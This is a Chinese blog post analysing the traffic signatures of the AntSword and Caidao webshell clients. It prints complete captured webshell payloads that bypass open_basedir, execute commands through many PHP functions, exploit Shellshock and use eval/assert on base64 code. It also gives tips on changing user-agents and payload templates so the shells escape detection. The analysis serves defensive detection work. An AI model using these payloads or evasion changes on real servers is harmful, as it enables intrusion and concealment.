目录

常见webshell客户端特征分析(上):菜刀、蚁剑

本文学习其他师傅博客,分析常见webshell客户端特征

常见webshell客户端都使用POSTREQUEST请求而不是GET请求

  • 隐蔽:避免payload直接暴露在url,容易在日志中留下痕迹
  • 长度:POST请求可以传输更长的payload,避免长度限制

# 蚁剑

蚁剑项目地址:https://github.com/AntSwordProject/antSword (opens new window)

技术栈

  • Electron
  • ES6
  • dhtmlx
  • Nodejs

# 流量特征

  • POST请求
  • 老古董UA头
  • POST参数值php代码明文传输,payload base64编码
  • 隐藏处理@ini_set("display_errors", "0");@set_time_limit(0);
  • 使用随机参数名,参数值使用2位随机数+base64编码内容

# 特征分析

查看burp代理配置,默认监听8080端口

1

burp开启拦截

2

配置蚁剑代理,使流量走8080端口,点击测试,可以看到burp抓包。保存配置,重启生效。

3

使用蚁剑连接准备好的服务器webshell,拦截到了webshell连接时的请求

4

数据包

POST /shell.php HTTP/1.1
Host: 192.168.6.112:8080
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1749
Connection: close

1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.b59d502%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2280db0%22.%22e85832%22%3Becho%20%40asenc(%24output)%3Becho%20%22ec1b%22.%2279bff%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
1
2
3
4
5
6
7
8
9

相比于普通用户,分析这里的UAUser-Agent 查询 (opens new window) ,可以知道,11年的老古董ua头了

User-Agent: Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1

5

POST数据包内容:password=php codde,格式化分析一下

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) { continue; }
        $tmdir=$item."/.b59d502";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) { continue; }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\\//", $tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    }
}
function asenc($out){ return $out; }
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "80db0"."e85832";
    echo @asenc($output);
    echo "ec1b"."79bff";
}
ob_start();
try {
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}\t";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z") as $L)
            if(is_dir("{$L}:")) $R.="{$L}:";
    } else {
        $R.="/";
    }
    $R.="\t";
    $u=(function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s=($u) ? $u["name"] : @get_current_user();
    $R.=php_uname();
    $R.="\t{$s}";
    echo $R;
} catch(Exception $e){
    echo "ERROR://".$e->getMessage();
}
asoutput();
die();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

分析:

隐藏处理:抑制脚本报错,避免错误信息泄露引起管理员注意,设置脚本运行时间限制为0,蚁剑可以长时间连接执行webshell

@ini_set("display_errors", "0");
@set_time_limit(0);
1
2

目录穿越:通过创建并进入子目录,设置..为根目录,这里的..应该有双层语义吧,既可以表示上级目录,也可以表示配置的根目录,通过..不断穿越到上层,再设置..为根目录,实现了目录穿越,绕过了open_basedir限制

if(!@file_exists($tmdir)) { continue; }
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\\//", $tmdir);
for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }
@ini_set("open_basedir","/");
1
2
3
4
5
6

信息探针:获取当前目录、操作系统、用户名等信息,方便后续操作

$D=dirname($_SERVER["SCRIPT_FILENAME"]);
$u=(function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s=($u) ? $u["name"] : @get_current_user();
$R.=php_uname();
1
2
3
4

继续往下,尝试打开虚拟终端,简单执行ls命令,burp抓到一大坨数据包

6

点击查看
POST /shell.php HTTP/1.1
Host: 192.168.6.112:8080
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 4840
Connection: close

1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.947b1dd388%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22b82%22.%22081%22%3Becho%20%40asenc(%24output)%3Becho%20%220b87%22.%227325e%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22pce8f422c382ad%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22l7aa1832b83fbc%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22uf31f0e8b4315e%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&l7aa1832b83fbc=mRY2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gZjVkNzNiNGJkMTtwd2Q7ZWNobyBmYTRkNWU4ODliZmU%3D&pce8f422c382ad=44L2Jpbi9zaA%3D%3D&uf31f0e8b4315e=Ol
1
2
3
4
5
6
7
8
9

UA头发生了变化

User-Agent: Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11

post内容:

点击查看
@ini_set("display_errors", "0"); // 关闭错误信息输出
@set_time_limit(0); // 不限制执行时间
$opdir = @ini_get("open_basedir");

if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.947b1dd388"; // 创建一个临时目录
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");

        // 目录穿越至根目录
        $cntarr = @preg_split("/\\\\|\\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }

        // 尝试取消 open_basedir 限制
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}

// 简单的输出编码函数,实际未做处理
function asenc($out) {
    return $out;
}

// 统一的输出方式(带标记)
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "b82081";
    echo @asenc($output);
    echo "0b87325e";
}

ob_start();

try {
    // 从 POST 中提取参数(base64 解码,去除前两个字符)
    $p = base64_decode(substr($_POST["pce8f422c382ad"], 2));
    $s = base64_decode(substr($_POST["l7aa1832b83fbc"], 2));
    $envstr = @base64_decode(substr($_POST["uf31f0e8b4315e"], 2));

    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = (substr($d, 0, 1) == "/") ? "-c \"{$s}\"" : "/c \"{$s}\"";

    // 设置 PATH 环境变量(Unix / Windows)
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }

    // 设置自定义环境变量
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }

    $r = "{$p} {$c}";

    // 判断函数是否可用
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return function_exists($f) && is_callable($f) && !in_array($f, $d);
    }

    // 利用 shellshock 漏洞执行命令
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") !== FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; {$c} >$tmp 2>&1");

                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }

                $output = @file_get_contents($tmp);
                @unlink($tmp);
                if ($output != "") {
                    print($output);
                    return True;
                }
            } else {
                return False;
            }
        }
        return False;
    }

    // 执行命令的主函数,支持多种方式
    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);

        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("\n", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c); // 自定义函数或后门
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            // Windows COM 执行
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }

        return $ret;
    }

    // 执行命令并打印结果
    $ret = @runcmd($r . " 2>&1");
    print($ret != 0) ? "ret={$ret}" : "";

} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}

asoutput();
die();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176

同样做了隐藏处理、绕过目录限制,另外还判断了系统类型,尝试各种可以执行命令的函数,还额外添加了shellshock漏洞利用的代码,尝试执行命令

最后传入了几个参数,参数名是随机数,值是base64编码的命令,解码时需要去掉前两个字符

7

8

把蚁剑AntSword-master的目录拖进vscode,分析一下源码

找到了user-agent的相关文件random-fake-useragent,可以找到蚁剑的UA头都是从这里随机拿的

9

10

粗略可以看出都是老古董ua头

操作系统:

  • Windows NT 6.x(win7、winserver)
  • Mac OS X 10.x(mac)
  • Linux i686(linux)

浏览器:

  • Opera 9.80
  • Chrome 40.x
  • Firefox 31.x
  • Safari 5.x

提示

这里的老古董ua头也算是webshell流量特征,绕过检测可以换成新版本ua头,看起来正常一些

# 菜刀

菜刀项目地址:https://github.com/raddyfiy/caidao-official-version (opens new window)

# 流量特征

  • POST请求
  • 随机xff头
  • UA头伪装为百度爬虫
  • 存在明显的assertevalbase64_decode等函数直接利用或者间接拼接动态调用
  • 接收一个POST参数z0,值为base编码的@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};代码
  • payload使用base64编码,QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtZ开头

# 流量分析

下载2016版菜刀,连接准备好的webshell,使用wireshark抓包

11

wireshark抓包,筛选http请求,找webshell的POST请求,追踪http流

12

这一大坨payload

array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J%2Bato%2BWcqOi9veWFpeWfuuacrOS%2FoeaBry4uLlxcJzskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuJy8nLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiJcbiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygiWEBZIik7ZGllKCk7'));\");"));
1

格式化分析一下,格式类似eval("\$xx=\"BaSE64_dEcOdE\";@eval(\$xx('base64编码内容'));");,动态调用assert,eval函数,执行base64编码的内容

警告

太露骨啦(捂脸)

@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};
echo("X@BY");
$D="..."; // 这里是加密的路径
$F=@opendir($D);
if($F==NULL){
    echo("ERROR:// Path Not Found Or No Permission!");
} else {
    $M=NULL;
    $L=NULL;
    while($N=@readdir($F)){
        $P=$D.'/'.$N;
        $T=@date("Y-m-d H:i:s",@filemtime($P));
        @$E=substr(base_convert(@fileperms($P),10,8),-4);
        $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
        if(@is_dir($P)) $M.=$N."/".$R;
        else $L.=$N.$R;
    }
    echo $M.$L;
    @closedir($F);
}
echo("X@BY");
die();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

隐藏处理: 首先也是做了隐藏处理,抑制错误信息输出,设置脚本执行时间为0

@ini_set("display_errors","0");
@set_time_limit(0);
1
2

扫描目录: 打开目录、遍历目录

while($N=@readdir($F)){
        $P=$D.'/'.$N;
        $T=@date("Y-m-d H:i:s",@filemtime($P));
        @$E=substr(base_convert(@fileperms($P),10,8),-4);
        $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
        if(@is_dir($P)) $M.=$N."/".$R;
        else $L.=$N.$R;
    }
    echo $M.$L;
    @closedir($F);
1
2
3
4
5
6
7
8
9
10

报文里存在返回的错误信息

<b>Warning</b>:  Cannot call assert() with string argument dynamically in <b>/var/www/html/shell.php(3) : eval()'d code</b> on line <b>1</b><br />
1

解决:菜刀连接一句话木马出现:Cannot call assert() with string argument dynamically错误 (opens new window)

payload里使用了assert函数动态执行代码,在php7里,这个特性已经移除

caidao.conf,修改payload模板

<PHP_BASE>
eval(base64_decode('%s')); 
</PHP_BASE>
1
2
3

古人的智慧,原来大师早就预测到ua可能过时作为流量特征了,留好了模板等后继者修改适配

13

修改后保存,再次连接webshell,成功连接webshell

14

wireshark抓包,筛选http请求,找webshell的POST请求,追踪http流

能看到,数据包里使用了随机的xff头,ua头伪装成百度爬虫,payload使用base64编码QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtZ的开头

15

解码看看

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
}
echo("X@Y");
$F = '/var/www/html/shell.php';
$P = @fopen($F, 'r');
echo(@fread($P, filesize($F)));
@fclose($P);
echo("X@Y");
die();
1
2
3
4
5
6
7
8
9
10
11
12

# 参考

其他

写之前有几点一直无法动笔写下去

  • 一篇文章写四个webshell客户端蚁剑、菜刀、冰蝎、哥斯拉,会不会篇幅太长了?

开两篇写,一篇写蚁剑、菜刀,另一篇写冰蝎、哥斯拉,不行就冰蝎、哥斯拉单开两篇

  • 比较熟悉蚁剑,其他三个没用过,又存在新旧版本不同特征,既陌生,工作量也有点大

顶不住也要顶

  • 为什么要分析webshell客户端流量特征?

从防御方面来看:可以通过流量特征识别攻击流量、攻击行为,进行拦截、报警等操作。

从攻击方面来看:分析webshell客户端默认流量特征,二次修改,减少被管理员检测、察觉的敏感操作,提高攻击隐蔽性。

oh,这该死的掌控感

最后一次更新于: 2025/05/06, 11:42:56